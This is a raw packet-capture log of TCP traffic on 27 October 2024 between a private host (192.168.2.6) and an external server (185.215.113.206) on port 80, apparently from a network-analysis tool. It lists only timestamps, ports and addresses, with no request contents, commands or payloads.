Oct 27, 2024 00:31:16.875169992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875180960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875191927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875204086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875210047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875216961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875230074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875232935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875241995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875242949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875272989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875293016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875660896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875711918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875792980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875804901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875816107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875827074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875839949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875840902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875852108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875864983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.875869989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875886917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875900984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876245022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876257896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876269102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876280069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876302958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876332045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876513958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876526117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876537085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876560926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876581907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876616955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876629114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876638889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876651049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876661062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876661062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876672029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876679897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876683950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876698017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876708031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.876709938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876737118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.876744986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877511978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877523899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877533913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877546072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877557039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877567053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877569914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877582073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877592087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877594948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877603054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877609968 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877614975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877626896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877630949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877640009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.877655983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.877686024 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878401041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878413916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878423929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878436089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878448009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878451109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878459930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878463030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878473043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878487110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878498077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878510952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878519058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878520966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878530979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878534079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878546953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.878546953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878566980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.878577948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879298925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879317045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879328012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879339933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879348040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879349947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879363060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879374027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879379034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879385948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879398108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879406929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879407883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879416943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879420996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879432917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879446030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879446983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879457951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.879475117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879486084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.879513025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880213022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880224943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880233049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880244017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880254984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880261898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880268097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880280018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880283117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880294085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880306005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880309105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880316973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880323887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880330086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880352020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880357027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880369902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.880377054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880409002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.880409002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881098986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881110907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881122112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881134033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881140947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881145954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881153107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881159067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881175041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881182909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881190062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881201029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881203890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881212950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881223917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881234884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881264925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881731033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881742954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881753922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881767035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881778002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881784916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881792068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881803989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.881807089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881817102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.881849051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.965830088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.965862036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.965893030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.965922117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.988835096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.988857031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.988867044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.988955975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.988992929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989000082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989015102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989025116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989037037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989042044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989063978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989089012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989255905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989269018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989279985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989293098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989309072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989336967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989531040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989543915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989553928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989564896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989571095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989579916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989598989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989622116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989806890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989846945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989916086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989928961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989938974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989949942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989954948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989962101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989975929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.989989042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.989994049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990016937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990034103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990298033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990402937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990431070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990441084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990452051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990463972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990475893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990482092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990482092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990485907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990498066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990510941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990511894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990524054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990531921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990535975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.990595102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.990595102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.063381910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.068676949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341300964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341322899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341334105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341378927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341422081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341471910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341481924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341492891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341496944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341540098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341721058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341730118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341744900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341756105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341764927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341768980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341777086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341783047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.341808081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341823101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.341995001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342010021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342020035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342031002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342041016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342047930 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342076063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342343092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342354059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342364073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342366934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342376947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342382908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342390060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342411995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342432976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342741966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342751980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342761040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342771053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342781067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342782021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342792988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342804909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342807055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342814922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.342840910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.342856884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343250990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343266010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343275070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343285084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343296051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343298912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343306065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343322992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343327999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343333006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343343019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343348980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343354940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343358040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343365908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343377113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343379974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343388081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343396902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.343405962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343415022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.343436003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344208956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344218969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344228029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344238043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344247103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344255924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344257116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344266891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344268084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344279051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344289064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344293118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344299078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344299078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344305992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344319105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344327927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344333887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344337940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.344355106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.344367027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.345052958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345065117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345072985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345078945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345087051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345097065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345108032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345109940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.345119953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.345119953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.345134974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.345164061 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.456661940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456701040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456712961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456792116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.456792116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.456849098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456861019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.456871033 CEST	80	49709	185.215.113.206	192.168.2.6
